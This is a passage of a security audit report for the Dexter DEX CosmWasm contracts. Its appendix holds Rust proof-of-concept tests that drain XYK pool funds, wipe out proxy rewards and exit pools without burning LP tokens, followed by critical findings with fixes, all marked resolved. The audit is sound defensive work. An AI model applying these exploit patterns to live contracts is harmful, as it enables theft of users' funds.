We recommend adding entry points in the vault contract to allow updating the stable pool's parameters.

Status: Resolved

Appendix

1. Test case for "Attackers can steal funds from XYK pools"

The test case should fail if the vulnerability is patched.

```
#[test]
fn steal_funds() {

    // reproduced in contracts/xyk_pool/tests/integration.rs

    let owner = Addr::unchecked("owner");
    let alice_address = Addr::unchecked("alice");
    let attacker = Addr::unchecked("attacker");

    // normal setup

    let mut app = mock_app(
        owner.clone(),
        vec![Coin {
            denom: "xprt".to_string(),
            amount: Uint128::new(100_000_000_000u128),
        }],
    );

    app.send_tokens(
        owner.clone(),
        alice_address.clone(),
        &[Coin {
            denom: "xprt".to_string(),
            amount: Uint128::new(1000_000_000u128),
        }],
    )
    .unwrap();

    let (vault_instance,  _, _, token_instance, _) =
        instantiate_contracts_instance(&mut app, &owner);

    mint_some_tokens(
        &mut app,
        owner.clone(),
        token_instance.clone(),
        Uint128::new(900_000_000_000),
        alice_address.to_string(),
    );

    let assets_msg = vec![
        Asset {
            info: AssetInfo::NativeToken {
```

```
                denom: "xprt".to_string(),
            },
            amount: Uint128::from(10_000_u128),
        },
        Asset {
            info: AssetInfo::Token {
                contract_addr: token_instance.clone(),
            },
            amount: Uint128::from(10_000_u128),
        },
    ];
    let msg = VaultExecuteMsg::JoinPool {
        pool_id: Uint128::from(1u128),
        recipient: None,
        lp_to_mint: None,
        auto_stake: None,
        slippage_tolerance: None,
        assets: Some(assets_msg.clone()),
    };
    app.execute_contract(
        alice_address.clone(),
        token_instance.clone(),
        &Cw20ExecuteMsg::IncreaseAllowance {
            spender: vault_instance.clone().to_string(),
            amount: Uint128::from(1000000000u128),
            expires: None,
        },
        &[],
    )
    .unwrap();

    app.execute_contract(
        alice_address.clone(),
        vault_instance.clone(),
        &msg,
        &[Coin {
            denom: "xprt".to_string(),
            amount: Uint128::new(10000u128),
        }],
    )
    .unwrap();

    /* steal all tokens in token0 contract */

    let attacker_token_bal : BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &token_instance.clone(),
            &Cw20QueryMsg::Balance {
                address: "attacker".to_string(),
```

```
            },
        )
        .unwrap();
    assert_eq!(Uint128::from(0_u128), attacker_token_bal.balance); // attacker
token balance is 0

    let vault_token_bal: BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &token_instance.clone(),
            &Cw20QueryMsg::Balance {
                address: vault_instance.clone().to_string(),
            },
        )
        .unwrap();
    assert_eq!(Uint128::from(10_000_u128), vault_token_bal.balance); // vault
token balance is 10k

    let steal_msg = VaultExecuteMsg::Swap {
        swap_request: SingleSwapRequest {
            pool_id: Uint128::from(1u128),
            swap_type: SwapType::GiveOut {},
            asset_in: AssetInfo::NativeToken {
                denom: "xprt".to_string(),
            },
            asset_out: AssetInfo::Token {
                contract_addr: token_instance.clone(),
            },
            amount: Uint128::from(10_000_u128),
            max_spread: None,
            belief_price: None,
        },
        recipient: None,
    };

    app.execute_contract(
        attacker.clone(),
        vault_instance.clone(),
        &steal_msg,
        &[],
    )
    .unwrap();

    let attacker_token_bal : BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &token_instance.clone(),
            &Cw20QueryMsg::Balance {
                address: "attacker".to_string(),
            },
```

```
        )
        .unwrap();
    assert_eq!(Uint128::from(10_000_u128), attacker_token_bal.balance); //
attacker token balance is 10k

    let vault_token_bal: BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &token_instance.clone(),
            &Cw20QueryMsg::Balance {
                address: vault_instance.clone().to_string(),
            },
        )
        .unwrap();
    assert_eq!(Uint128::from(0_u128), vault_token_bal.balance); // vault token
balance is 0

    /* steal all xprt funds */

    let attacker_xprt_bal = app.wrap().query_balance(attacker.clone(),
"xprt").unwrap();
    assert_eq!(attacker_xprt_bal.amount, Uint128::from(0_u128)); // attacker
have 0 xprt

    let vault_xprt_bal = app.wrap().query_balance(vault_instance.clone(),
"xprt").unwrap();
    assert_eq!(vault_xprt_bal.amount, Uint128::from(10_000_u128)); // vault have
10k xprt

    let steal_msg = VaultExecuteMsg::Swap {
        swap_request: SingleSwapRequest {
            pool_id: Uint128::from(1u128),
            swap_type: SwapType::GiveOut {},
            asset_in: AssetInfo::Token {
                contract_addr: token_instance.clone(),
            },
            asset_out: AssetInfo::NativeToken {
                denom: "xprt".to_string(),
            },
            amount: Uint128::from(10_000_u128),
            max_spread: None,
            belief_price: None,
        },
        recipient: None,
    };

    app.execute_contract(
        attacker.clone(),
        token_instance.clone(),
        &Cw20ExecuteMsg::IncreaseAllowance {
```

```
            spender: vault_instance.clone().to_string(),
            amount: Uint128::from(0_u128),
            expires: None,
        },
        &[],
    )
    .unwrap();

    app.execute_contract(
        attacker.clone(),
        vault_instance.clone(),
        &steal_msg,
        &[],
    )
    .unwrap();

    let attacker_xprt_bal = app.wrap().query_balance(attacker.clone(),
"xprt").unwrap();
    assert_eq!(attacker_xprt_bal.amount, Uint128::from(10_000_u128)); //
attacker have 10k xprt

    let vault_xprt_bal = app.wrap().query_balance(vault_instance.clone(),
"xprt").unwrap();
    assert_eq!(vault_xprt_bal.amount, Uint128::from(0_u128)); // vault have 0
xprt

    /*

    To fix this, check whether `calc_amount` is 0:

    if calc_amount.is_zero() {
        return Ok(return_swap_failure(
            "Computation error - calc_amount is zero".to_string(),
        ));
    }

    */

 }
```

2. Test case for "Attackers can invalidate proxy reward distributions"

Please note that this test case requires several modifications to succeed. The test case should pass if the vulnerability is patched.

```
#[test]
fn invalidate_reward() {

    // reproduced in contracts/dexter_generator/generator/tests/integration.rs

    /*
    NOTE: to reproduce this please apply the following:

    1. Please comment out
contracts/dexter_generator/generator/src/contract.rs:1570-1579:

    ```
    /* let is_generator_disabled: bool = deps.querier.query_wasm_smart(
        cfg.vault.clone(),
        &dexter::vault::QueryMsg::IsGeneratorDisabled {
            lp_token_addr: lp_token.clone().into_string(),
        },
    )?;

    if is_generator_disabled {
        return Err(ContractError::GeneratorDisabled {});
    } */
    ```

    Reason: this needs to be setup in the vault contract, but we can simply
comment it out to prevent it working

    2. Please patch a critical bug in
contracts/dexter_generator/generator/src/contract.rs:1686:

    ```
    pool.accumulated_proxy_rewards_per_share =
pool.accumulated_proxy_rewards_per_share
                    .checked_add(share)?;
    ```

    Reason: this critical bug prevents the rewards to be distributed to all LP
stakers

    u are now ready to go :)

    */

    let owner = "owner".to_string();
```

```
    let mut app = mock_app(
        owner.clone(),
        vec![Coin {
            denom: "xprt".to_string(),
            amount: Uint128::new(100_000_000_000u128),
        }],
    );

    let (generator_instance, _) = instantiate_contracts(&mut app,
Addr::unchecked(owner.clone()));

    let (_, proxy_instance, lp_token, reward_token) = setup_proxy_with_staking(
        &mut app,
        Addr::unchecked(owner.clone()),
        generator_instance.clone(),
    );

    // setup pool with 0 alloc in generator, this is ok since we are using
reward proxy contract
    app.execute_contract(
        Addr::unchecked(owner.clone()),
        generator_instance.clone(),
        &ExecuteMsg::SetupPools {
            pools: vec![(lp_token.to_string(), Uint128::from(0u128))],
        },
        &[],
    )
    .unwrap();

    // set proxy as allowed in generator
    app.execute_contract(
        Addr::unchecked(owner.clone()),
        generator_instance.clone(),
        &ExecuteMsg::SetAllowedRewardProxies {
            proxies: vec![proxy_instance.to_string()],
        },
        &[],
    )
    .unwrap();

    // set proxy for lp token generator
    app.execute_contract(
        Addr::unchecked(owner.clone()),
        generator_instance.clone(),
        &ExecuteMsg::SetupProxyForPool {
            lp_token: lp_token.clone().to_string(),
            proxy_addr: proxy_instance.clone().to_string(),
        },
        &[],
    )
```

```
    .unwrap();

    // mint lp token to user
    let user = "user".to_string();
    mint_some_tokens(
        &mut app,
        Addr::unchecked(owner.clone()),
        lp_token.clone(),
        Uint128::new(9_000_000),
        user.clone(),
    );

    // user deposit lp tokens
    app.execute_contract(
        Addr::unchecked(user.clone()),
        lp_token.clone(),
        &Cw20ExecuteMsg::Send {
            contract: generator_instance.clone().to_string(),
            amount: Uint128::new(1_000_000),
            msg: to_binary(&Cw20HookMsg::Deposit {}).unwrap(),
        },
        &[],
    )
    .unwrap();

    // fast forward time
    app.update_block(|b| {
        b.time = b.time.plus_seconds(1000);
        b.height = b.height + 100;
    });

    // get latest pool response
    let pool_info_res: PoolInfoResponse = app
        .wrap()
        .query_wasm_smart(
            &generator_instance,
            &QueryMsg::PoolInfo {
                lp_token: lp_token.clone().to_string(),
            },
        )
        .unwrap();

    // note that pending proxy rewards represents how much funds can be
distributed to stakers
    // in this case, there are 385802469 rewards available to distribute for
user!
    assert_eq!(
        Some(Uint128::from(385802469u128)),
        pool_info_res.pending_proxy_rewards
    );
```

```
    // snapshot user info before claim reward
    let user_info_re: UserInfoResponse = app
        .wrap()
        .query_wasm_smart(
            &generator_instance,
            &QueryMsg::UserInfo {
                lp_token: lp_token.clone().to_string(),
                user: user.clone().to_string(),
            },
        )
        .unwrap();

    println!("before claim rewards: {:?}", user_info_re);
    assert_eq!(user_info_re.reward_debt_proxy, Uint128::zero());

    // here's the key attack
    // the attacker can invalidate reward by updating reward
    // this would cause all pending proxy rewards sent to the generator
contract, so there will be 0 rewards left for user
    // feel free to comment out to see the difference
    app.execute_contract(
        Addr::unchecked("attacker"),
        proxy_instance.clone(),
        &ProxyExecuteMsg::UpdateRewards {},
        &[],
    )
    .unwrap();

    // user claim reward
    app.execute_contract(
        Addr::unchecked(user.clone()),
        generator_instance.clone(),
        &ExecuteMsg::ClaimRewards {
            lp_tokens: vec![lp_token.clone().to_string()],
        },
        &[],
    )
    .unwrap();

    // user should have rewards increased
    let user_info_re: UserInfoResponse = app
        .wrap()
        .query_wasm_smart(
            &generator_instance,
            &QueryMsg::UserInfo {
                lp_token: lp_token.clone().to_string(),
                user: user.clone().to_string(),
            },
        )
```

```
        .unwrap();
    println!("after claim rewards: {:?}", user_info_re);
    assert_eq!(user_info_re.reward_debt_proxy, Uint128::from(385802469_u32));

}
```

3. Test case for "Consider validating burn shares are greater than zero"

Please note that this test case requires multiple modifications to succeed. The test case should fail if the vulnerability is present and patched.

```
#[test]
fn burn_funds_free_asset() {

    /*
    This attack will fail in the current architecture, the test case is included to show a possible real exploitation that would allow an attacker to withdraw liquidity without burning their assets

    currently the attack fails because the vault contract tries to burn 0 LP tokens, which is invalid in CosmWasm

    1: error executing WasmMsg:
       sender: contract0
       Execute { contract_addr: "contract4", msg: {"burn":{"amount":"0"}}, funds: [] }
    2: Invalid zero amount', contracts/stable_5pool/tests/integration.rs:2615:7

    however, this issue might be exploited if the codebase is refactored one day to include an additional check that only burn lp tokens if the amount to burn is 0, as shown below:

    if !after_burn_res.burn_shares.clone().is_zero() {
        execute_msgs.push(CosmosMsg::Wasm(WasmMsg::Execute {
            contract_addr: pool_info.lp_token_addr.clone().unwrap().to_string(),
            msg: to_binary(&Cw20ExecuteMsg::Burn {
                amount: after_burn_res.burn_shares.clone(),
            })?,
            funds: vec![],
        }));
    }

    to see this exploit in action, you can modify contracts/vault/src/contract.rs:1070 to include the above 0 amount check

    */

    // reproduced in contracts/stable_5pool/tests/integration.rs

    let owner = Addr::unchecked("owner");
    let alice_address = Addr::unchecked("alice");
    let attacker = Addr::unchecked("attacker");

    let mut app = mock_app(
        owner.clone(),
```

```
        vec![Coin {
            denom: "axlusd".to_string(),
            amount: Uint128::new(100_000_000_000u128),
        }],
    );

    // Set Alice's balances
    app.send_tokens(
        owner.clone(),
        alice_address.clone(),
        &[Coin {
            denom: "axlusd".to_string(),
            amount: Uint128::new(1000_000_000u128),
        }],
    )
    .unwrap();

    let (vault_instance, _, lp_token_addr, token_instance0, token_instance1, _)
=
        instantiate_contracts_instance(&mut app, &owner);
    mint_some_tokens(
        &mut app,
        owner.clone(),
        token_instance0.clone(),
        Uint128::new(900_000_000_000),
        alice_address.to_string(),
    );

    mint_some_tokens(
        &mut app,
        owner.clone(),
        token_instance1.clone(),
        Uint128::new(900_000_000_000),
        alice_address.to_string(),
    );

    // give attacker some tokens to provide lp

    let attacker_funds = Uint128::new(1000_u128);

    app.send_tokens(
        owner.clone(),
        attacker.clone(),
        &[Coin {
            denom: "axlusd".to_string(),
            amount: attacker_funds,
        }],
    )
    .unwrap();
```

```
    mint_some_tokens(
        &mut app,
        owner.clone(),
        token_instance0.clone(),
        attacker_funds,
        attacker.to_string(),
    );

    mint_some_tokens(
        &mut app,
        owner.clone(),
        token_instance1.clone(),
        attacker_funds,
        attacker.to_string(),
    );

    // Alice joins pool as a normal user

    let assets_msg = vec![
        Asset {
            info: AssetInfo::NativeToken {
                denom: "axlusd".to_string(),
            },
            amount: Uint128::from(10_000u128),
        },
        Asset {
            info: AssetInfo::Token {
                contract_addr: token_instance0.clone(),
            },
            amount: Uint128::from(10_000u128),
        },
        Asset {
            info: AssetInfo::Token {
                contract_addr: token_instance1.clone(),
            },
            amount: Uint128::from(10_000u128),
        },
    ];
    let msg = VaultExecuteMsg::JoinPool {
        pool_id: Uint128::from(1u128),
        recipient: None,
        lp_to_mint: None,
        auto_stake: None,
        slippage_tolerance: None,
        assets: Some(assets_msg.clone()),
    };
    app.execute_contract(
        alice_address.clone(),
        token_instance0.clone(),
        &Cw20ExecuteMsg::IncreaseAllowance {
```

```
            spender: vault_instance.clone().to_string(),
            amount: Uint128::from(1000000000u128),
            expires: None,
        },
        &[],
    )
    .unwrap();

    app.execute_contract(
        alice_address.clone(),
        token_instance1.clone(),
        &Cw20ExecuteMsg::IncreaseAllowance {
            spender: vault_instance.clone().to_string(),
            amount: Uint128::from(1000000000u128),
            expires: None,
        },
        &[],
    )
    .unwrap();

    app.execute_contract(
        alice_address.clone(),
        vault_instance.clone(),
        &msg,
        &[Coin {
            denom: "axlusd".to_string(),
            amount: Uint128::new(10000u128),
        }],
    )
    .unwrap();

    // attacker join pools to get some lp tokens

    let assets_msg = vec![
        Asset {
            info: AssetInfo::NativeToken {
                denom: "axlusd".to_string(),
            },
            amount: attacker_funds,
        },
        Asset {
            info: AssetInfo::Token {
                contract_addr: token_instance0.clone(),
            },
            amount: attacker_funds,
        },
        Asset {
            info: AssetInfo::Token {
                contract_addr: token_instance1.clone(),
            },
```

```
            amount: attacker_funds,
        },
    ];

    app.execute_contract(
        attacker.clone(),
        token_instance0.clone(),
        &Cw20ExecuteMsg::IncreaseAllowance {
            spender: vault_instance.clone().to_string(),
            amount: attacker_funds,
            expires: None,
        },
        &[],
    )
    .unwrap();

    app.execute_contract(
        attacker.clone(),
        token_instance1.clone(),
        &Cw20ExecuteMsg::IncreaseAllowance {
            spender: vault_instance.clone().to_string(),
            amount: attacker_funds,
            expires: None,
        },
        &[],
    )
    .unwrap();

    let msg = VaultExecuteMsg::JoinPool {
        pool_id: Uint128::from(1u128),
        recipient: None,
        lp_to_mint: None,
        auto_stake: None,
        slippage_tolerance: None,
        assets: Some(assets_msg.clone()),
    };

    app.execute_contract(
        attacker.clone(),
        vault_instance.clone(),
        &msg,
        &[Coin {
            denom: "axlusd".to_string(),
            amount: attacker_funds,
        }],
    )
    .unwrap();

    let attacker_lp_res: BalanceResponse = app
        .wrap()
```

```
        .query_wasm_smart(
            &lp_token_addr.clone(),
            &Cw20QueryMsg::Balance {
                address: attacker.clone().to_string(),
            },
        )
        .unwrap();

    // check attacker balance before start attack

    let attacker_bal = app.wrap().query_balance(attacker.clone().to_string(),
"axlusd").unwrap();

    assert_eq!(attacker_bal.amount, Uint128::zero());

    let attacker_token0_bal: BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &token_instance0.clone(),
            &Cw20QueryMsg::Balance {
                address: attacker.clone().to_string(),
            },
        )
        .unwrap();

    assert_eq!(attacker_token0_bal.balance, Uint128::zero());

    let attacker_token1_bal: BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &token_instance1.clone(),
            &Cw20QueryMsg::Balance {
                address: attacker.clone().to_string(),
            },
        )
        .unwrap();

    assert_eq!(attacker_token1_bal.balance, Uint128::zero());

    // start stealing funds

    let assets_msg = vec![
        Asset {
            info: AssetInfo::NativeToken {
                denom: "axlusd".to_string(),
            },
            amount: Uint128::from(10_000u128),
        },
        Asset {
            info: AssetInfo::Token {
```

```
                contract_addr: token_instance0.clone(),
            },
            amount: Uint128::from(10_000u128),
        },
        Asset {
            info: AssetInfo::Token {
                contract_addr: token_instance1.clone(),
            },
            amount: Uint128::from(10_000u128),
        },
        Asset {
            info: AssetInfo::Token {
                contract_addr: Addr::unchecked("something invalid"),
            },
            amount: Uint128::from(0u128),
        },
    ];

    // uncomment to see affected OnExitPool query message

    /*
    let exit_pool_query_res: AfterExitResponse = app
        .wrap()
        .query_wasm_smart(
            pool_addr.clone(),
            &QueryMsg::OnExitPool {
                assets_out: Some(assets_msg.clone()),
                burn_amount: Some(attacker_lp_res.balance),
            },
        )
        .unwrap();

    println!("{:?}", exit_pool_query_res);
    */

    let exit_msg = Cw20ExecuteMsg::Send {
        contract: vault_instance.clone().to_string(),
        amount: Uint128::from(1_u128),
        msg: to_binary(&Cw20HookMsg::ExitPool {
            pool_id: Uint128::from(1u128),
            recipient: None,
            assets: Some(assets_msg.clone()),
            burn_amount: Some(Uint128::from(1_u128)),
        })
        .unwrap(),
    };

    app.execute_contract(
        attacker.clone(),
        lp_token_addr.clone(),
```

```
        &exit_msg,
        &[]
    ).unwrap();

    // post check attacker balance

    let attacker_bal = app.wrap().query_balance(attacker.clone().to_string(),
"axlusd").unwrap();

    assert_eq!(attacker_bal.amount, Uint128::from(10_000u128));

    let attacker_token0_bal: BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &token_instance0.clone(),
            &Cw20QueryMsg::Balance {
                address: attacker.clone().to_string(),
            },
        )
        .unwrap();

    assert_eq!(attacker_token0_bal.balance, Uint128::from(10_000u128));

    let attacker_token1_bal: BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &token_instance1.clone(),
            &Cw20QueryMsg::Balance {
                address: attacker.clone().to_string(),
            },
        )
        .unwrap();

    assert_eq!(attacker_token1_bal.balance, Uint128::from(10_000u128));

    // attacker's LP token is also fully refunded, allowing continuous
exploitation
    // however due to a bug in the contract, its refunded to the lp token
instead of the sender (which is also reported)

    let lp_balance: BalanceResponse = app
        .wrap()
        .query_wasm_smart(
            &lp_token_addr.clone(),
            &Cw20QueryMsg::Balance {
                address: attacker.clone().to_string(),
            },
        )
        .unwrap();
```

```
    // uncomment after changing contracts/vault/src/contract.rs:1084 into
`recipient: sender.clone(),`
    // assert_eq!(lp_balance.balance, attacker_lp_res.balance);

}
```

4. Test case for "UnclaimedRewards query returns incorrect value"

The test case should fail if the vulnerability is patched.

```
#[test]
fn test_incorrect_query_unclaimed_rewards() {

    // reproduced in contracts/multi_staking/tests/staking.rs

    // initial setup
    let admin = String::from("admin");
    let user_1 = String::from("user_1");

    let coins = vec![coin(1_000_000_000, "uxprt")];

    let admin_addr = Addr::unchecked(admin.clone());
    let user_1_addr = Addr::unchecked(user_1.clone());

    let mut app = mock_app(admin_addr.clone(), coins);

    let (multi_staking_instance, lp_token_addr) = setup(&mut app,
admin_addr.clone());

    // mint lp tokens to user 1
    mint_lp_tokens_to_addr(
        &mut app,
        &admin_addr,
        &lp_token_addr,
        &user_1_addr,
        Uint128::from(100_000 as u64),
    );

    // bond some LP tokens, note there are no rewards yet
    bond_lp_tokens(
        &mut app,
        &multi_staking_instance,
        &lp_token_addr,
        &user_1_addr,
        Uint128::from(100_000 as u64),
    ).unwrap();

    // increase time
    app.update_block(|b| {
        b.time = Timestamp::from_seconds(1_000_001_500);
        b.height = b.height + 100;
    });

    // add a reward schedule
    create_reward_schedule(
```

```
        &mut app,
        &admin_addr,
        &multi_staking_instance,
        &lp_token_addr,
        AssetInfo::NativeToken {
            denom: "uxprt".to_string()
        },
        Uint128::from(100_000_000 as u64),
        1000_001_500,
        1000_002_000,
    ).unwrap();

    // increase time
    app.update_block(|b| {
        b.time = Timestamp::from_seconds(1_000_002_000);
        b.height = b.height + 100;
    });

    // verify user have no uxprt
    let user_1_balance = query_balance(&mut app, &user_1_addr);
    assert_eq!(user_1_balance, vec![]);

    // query rewards
    let unclaimed_rewards_user_1 = query_unclaimed_rewards(
        &mut app,
        &multi_staking_instance,
        &lp_token_addr,
        &user_1_addr,
    );

    // we should have unclaimed user rewards
    // however query returns as no rewards
    // note that we use assert not equal here
    assert_ne!(unclaimed_rewards_user_1.len(), 1);

    // if query is correct, calling Withdraw message should not return any uxprt
back
    // lets try to withdraw the rewards
    withdraw_unclaimed_rewards(
        &mut app,
        &multi_staking_instance,
        &lp_token_addr,
        &user_1_addr,
    );

    // check balance, verify there are actual rewards being sent
    let user_1_balance = query_balance(&mut app, &user_1_addr);
    assert_eq!(
        user_1_balance,
        vec![Coin { denom: "uxprt".to_string(), amount:
```

```
Uint128::from(100_000_000_u32) }]
    );

}
```

5. Test case for "Duplicate scaling factors cause ineffective updates"

```
#[test]
fn test_ineffective_scaling_factor_update() {
    // contracts/pools/stable_pool/tests/integration.rs

    use cosmwasm_std::{from_binary, to_binary, Addr, Decimal256};
    use dexter::vault::{
        ExecuteMsg as VaultExecuteMsg, FeeInfo, InstantiateMsg as
VaultInstantiateMsg,
    };
    use stable_pool::state::{AssetScalingFactor, StablePoolParams,
StablePoolUpdateParams, StableSwapConfig};
    use std::str::FromStr;

    // setup
    let owner = Addr::unchecked("owner");

    let mut app = mock_app(owner.clone(), vec![]);

    let stable5pool_code_id = store_stable_pool_code(&mut app);
    let vault_code_id = store_vault_code(&mut app);
    let token_code_id = store_token_code(&mut app);

    // init vault
    let pool_configs = vec![vault::PoolTypeConfig {
        code_id: stable5pool_code_id,
        pool_type: vault::PoolType::Stable5Pool {},
        default_fee_info: FeeInfo {
            total_fee_bps: 0,
            protocol_fee_percent: 0,
        },
        allow_instantiation: dexter::vault::AllowPoolInstantiation::Everyone,
        paused: vault::PauseInfo::default(),
    }];

    let vault_init_msg = VaultInstantiateMsg {
        pool_configs: pool_configs.clone(),
        lp_token_code_id: Some(token_code_id),
        fee_collector: None,
        owner: owner.to_string(),
        pool_creation_fee: vault::PoolCreationFee::default(),
        auto_stake_impl: dexter::vault::AutoStakeImpl::None,
    };

    let vault_instance = app
        .instantiate_contract(
            vault_code_id,
            owner.to_owned(),
```

```
            &vault_init_msg,
            &[],
            "vault",
            None,
        )
        .unwrap();

    // duplicate scaling factor for the same asset
    let duplicate_scaling_factors = vec![
        AssetScalingFactor {
            asset_info: AssetInfo::NativeToken {
                denom: "axlusd".to_string(),
            },
            scaling_factor: Decimal256::from_str("1.2").unwrap(),
        },
        AssetScalingFactor {
            asset_info: AssetInfo::NativeToken {
                denom: "axlusd".to_string(),
            },
            scaling_factor: Decimal256::from_str("2").unwrap(),
        },
        AssetScalingFactor {
            asset_info: AssetInfo::NativeToken {
                denom: "axlusd".to_string(),
            },
            scaling_factor: Decimal256::zero(),
        },
    ];

    // init stable5pool
    let msg = VaultExecuteMsg::CreatePoolInstance {
        pool_type: vault::PoolType::Stable5Pool {},
        asset_infos: vec![
            AssetInfo::NativeToken {
                denom: "axlusd".to_string(),
            },
            AssetInfo::NativeToken {
                denom: "uatom".to_string(),
            },
            AssetInfo::NativeToken {
                denom: "ujuno".to_string(),
            },
        ],
        native_asset_precisions: vec![
            ("axlusd".to_string(), 6),
            ("uatom".to_string(), 6),
            ("ujuno".to_string(), 6),
        ],
        init_params: Some(
            to_binary(&StablePoolParams {
```

```
                amp: 100,
                scaling_factors: duplicate_scaling_factors.clone(),
                supports_scaling_factors_update: true,
                scaling_factor_manager: Some(owner.clone()), // let owner update
scale
                max_allowed_spread: Decimal::from_ratio(50u128, 100u128),
            })
            .unwrap(),
        ),
        fee_info: None,
    };

    app.execute_contract(
        Addr::unchecked(owner.clone()),
        vault_instance.clone(),
        &msg,
        &[],
    )
    .unwrap();

    // get pool addr
    let pool_res: vault::PoolInfo = app
        .wrap()
        .query_wasm_smart(
            vault_instance.clone(),
            &VaultQueryMsg::GetPoolById {
                pool_id: Uint128::from(1u128),
            },
        )
        .unwrap();

    let pool_addr = pool_res.pool_addr;

    // query config
    let res: ConfigResponse = app
        .wrap()
        .query_wasm_smart(pool_addr.clone(), &QueryMsg::Config {})
        .unwrap();
    let params: StablePoolParams =
from_binary(&res.additional_params.unwrap()).unwrap();
    assert_eq!(
        params.scaling_factors,
        duplicate_scaling_factors.clone(),
    );

    // construct `StableSwapConfig` struct to access `scaling_factors()` and
`get_scaling_factor_for()`
    let stableswap_config = StableSwapConfig {
        max_allowed_spread: params.max_allowed_spread,
        supports_scaling_factors_update: params.supports_scaling_factors_update,
```

```
        scaling_factors: params.scaling_factors,
        scaling_factor_manager: params.scaling_factor_manager,
    };

    let axlusd = AssetInfo::NativeToken { denom: "axlusd".to_string() };

    // `scaling_factors` will return last index value
    let filtered_factors = stableswap_config.scaling_factors();
    let actual_value = filtered_factors.get(&axlusd);
    assert_eq!(
        actual_value.unwrap(),
        Decimal256::zero(),
    );

    // `get_scaling_factor_for` will return first index value
    let actual_value = stableswap_config.get_scaling_factor_for(&axlusd);
    assert_eq!(
        actual_value.unwrap(),
        Decimal256::from_str("1.2").unwrap(),
    );

    // owner updates scaling factor to 1.5, this will only update the first
index value
    let msg = ExecuteMsg::UpdateConfig {
        params: Some(
            to_binary(&StablePoolUpdateParams::UpdateScalingFactor {
                asset_info: AssetInfo::NativeToken {
                    denom: "axlusd".to_string(),
                },
                scaling_factor: Decimal256::from_str("1.5").unwrap(),
            })
            .unwrap(),
        ),
    };

    app.execute_contract(owner.clone(), pool_addr.clone(), &msg, &[])
        .unwrap();

    // query config and check
    let res: ConfigResponse = app
        .wrap()
        .query_wasm_smart(pool_addr.clone(), &QueryMsg::Config {})
        .unwrap();
    let params: StablePoolParams =
from_binary(&res.additional_params.unwrap()).unwrap();

    // construct `StableSwapConfig` struct
    let stableswap_config = StableSwapConfig {
        max_allowed_spread: params.max_allowed_spread,
        supports_scaling_factors_update: params.supports_scaling_factors_update,
```

```
        scaling_factors: params.scaling_factors,
        scaling_factor_manager: params.scaling_factor_manager,
    };

    // `scaling_factors` still uses the last index value
    let filtered_factors = stableswap_config.scaling_factors();
    let actual_value = filtered_factors.get(&axlusd);
    assert_eq!(
        actual_value.unwrap(),
        Decimal256::zero(),
    );

    // `get_scaling_factor_for` is updated accordingly
    let actual_value = stableswap_config.get_scaling_factor_for(&axlusd);
    assert_eq!(
        actual_value.unwrap(),
        Decimal256::from_str("1.5").unwrap(),
    );
}
```

Past Findings for Contracts Excluded from Scope

1. Users that join and auto-stake to a pool will lose funds

Severity: Critical

In the `execute_join_pool` function, if the `auto_stake` parameter is `true`, then the `recipient` is set incorrectly to `generator_address` in `contracts/vault/src/contract.rs:851`. This `recipient` value is then passed to `build_mint_lp_token_msg` in line `871` and then passed in line `1497` to `dexter::generator::Cw20HookMsg::DepositFor(recipient)`. This is problematic because the `DepositFor` address will be the `generator_address` and not the intended recipient. Consequently, the user's funds are lost for any transaction that specifies `auto_stake`.

Recommendation

We recommend setting the recipient to the appropriate user address rather than the logic performed in `contracts/vault/src/contract.rs:851`, where the recipient is set to the `generator_address`.

Status: Resolved

2. Emergency unstake returns zero funds to user

Severity: Critical

The `emergency_unstake` function in `contracts/dexter_generator/generator/src/contract.rs:1064` sets the unbonded amount from the mutated user balance from line `1060`. This is problematic because the `user.amount` is mutated inside the `update_user_balance` function where it is set to zero. As a result, users cannot withdraw their LP tokens from the generator contract.

Recommendation

We recommend creating the unbonding period with the correct staked balance. Additionally, consider adding a check to ensure the staked balance is not zero before processing the unbonding period.

Status: Resolved

3. Liquidity pool stakers will receive zero proxy rewards

Severity: Critical

The `accumulate_rewards_per_share` function in `contracts/dexter_generator/generator/src/contract.rs:1686` does not increase the value of `pool.accumulated_proxy_rewards_per_share`. Although the addition is performed, the result value is never set to `pool.accumulated_proxy_rewards_per_share`. This implies that third-party proxy rewards are never distributed to pool stakers.

Recommendation

We recommend modifying `contracts/dexter_generator/generator/src/contract.rs:1686` into `pool.accumulated_proxy_rewards_per_share = pool.accumulated_proxy_rewards_per_share.checked_add(share)?;`.

Status: Resolved

4. Attackers can steal funds from XYK pools

Severity: Critical

In `contracts/xyk_pool/src/contract.rs:503`, any errors that occur inside the `compute_offer_amount` function will be ignored due to the usage of `unwrap_or_else` that returns the values as zero. This is an issue since the message does not revert when the `calc_amount` value is zero, as seen in `contracts/stable_5pool/src/contract.rs:765` and `contracts/stable_pool/src/contract.rs:648`. As a result, an attacker can steal funds from the pool using the `GiveOut` swap type.

Please see the `steal_funds` test case in the appendix to reproduce this vulnerability.

This issue is also present in the weighted pool.

Recommendation

We recommend reverting the operation when the `calc_amount` is zero. Additionally, we recommend checking the `amount_in` from the swap request is not zero in `contracts/vault/src/contract.rs:1182` as an extended defense.

Status: Resolved

5. Attackers can invalidate proxy reward distributions

Severity: Critical

The `get_proxy_rewards` function in `contracts/dexter_generator/generator/src/contract.rs:1611-1632` determines the rewards by snapshotting the current total reward balance and then executing the `UpdateRewards` message to withdraw all pending rewards. The calculation logic in lines `1681-1687` deducts the difference and accumulates the proxy rewards per share.

This is problematic since the `UpdateRewards` message in `contracts/dexter_generator/generator_proxy/src/contract.rs:54` is permissionless. An attacker can update the rewards before calling the `ClaimRewards` message to cause the rewards to evaluate to a zero value. Consequently, liquidity pool stakers will receive zero rewards in return.

Please see the `invalidate_reward` test case in the appendix to reproduce this vulnerability.

Recommendation

We recommend restricting the `UpdateRewards` message in `contracts/dexter_generator/generator_proxy/src/contract.rs:54` to be callable by the generator contract only.

Status: Resolved

6. Iterations over pools might run out of gas and disable pool management

Severity: Major

